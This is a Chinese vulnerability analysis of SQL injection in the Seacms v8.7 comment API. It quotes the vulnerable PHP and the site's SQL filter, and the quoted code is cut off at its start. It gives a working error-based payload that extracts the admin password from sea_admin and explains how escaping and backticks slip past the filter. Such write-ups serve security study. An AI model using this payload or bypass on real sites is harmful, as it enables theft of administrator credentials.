Seacms v8.7 /comment/api/index.php 存在SQL注入漏洞

https://mp.weixin.qq.com/s/mp6CNu0ISMh4vsyTMr2zqw
漏洞环境:

docker pull zksmile/vul:seacmsv7.0

漏洞分析:
漏洞文件是在:comment/api/index.php

0)
        {
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[1] = Readrlist($x,1,10000);
                }
        }        
        $readData = FormatJson($ret);
        return $readData;
}


function Readmlist($id,$page,$size)

{
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
        {
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs['dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                {
                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                        $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                }
        }
        $readmlist=join($ml,",");
        return $readmlist;
}


function Readrlist($ids,$page,$size)

{
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}

传入$rlist的值为我们构造的sql语句:

@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数
可以看到执行的SQL语句是:

image.png

它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测
文件在include/sql.class.php的CheckSql函数:

//完整的SQL检查

       while (true)

       {

               $pos = strpos($db_string, '\'', $pos + 1);

               if ($pos === false)

               {

                       break;

               }

               $clean .= substr($db_string, $old_pos, $pos - $old_pos);

               while (true)

               {

                       $pos1 = strpos($db_string, '\'', $pos + 1);

                       $pos2 = strpos($db_string, '\\', $pos + 1);

                       if ($pos1 === false)

                       {

                               break;

                       }

                       elseif ($pos2 == false || $pos2 > $pos1)

                       {

                               $pos = $pos1;

                               break;

                       }

                       $pos = $pos2 + 1;

               }

               $clean .= '$s$';

               $old_pos = $pos + 1;

       }

       $clean .= substr($db_string, $old_pos);

       $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会这里检测到

image.png

所以上面构造的语句也很有意思
image.png

后面$clean就是要送去检测的函数,通过一番处理后得到的值为
image.png

后面返回来执行的的SQL语句还是原样没动
image.png

基本分析就完成了。
最终执行的语句:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

还有一些问题就是构造语句的问题。
刚开始传入的%27后面怎么变成了转义后的单引号?
开头的时候require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数,如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数,这个函数是把值经过addslashes函数的处理。此函数的作用是为所有的 ' (单引号), " (双引号), \ (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。
所以后面的SQL语句就会加上转义符号,然后经过CheckSql函数的时候就绕过了对报错语句的检测

function _RunMagicQuotes(&$svar)

{
        if(!get_magic_quotes_gpc())
        {
                if( is_array($svar) )
                {
                        foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
                }
                else
                {
                        $svar = addslashes($svar);
                }
        }
        return $svar;
}

为什么要加上``两个反引号和@?
因in在MySQL里面用法是:
select * from where field in (value1,value2,value3,…)
value1必须是一个值,整数型或者文本型都可以,如果用单引号的话就会变成三个转义'''
`在MySQL上面是作为一个转义符号来使用,一般为了不让和系统的变量冲突所以使用,一般在数据库名、表名、字段名使用,所以这里用@来使这个成为一个变量类型。

你可能感兴趣的:(Seacms v8.7 /comment/api/index.php 存在SQL注入漏洞)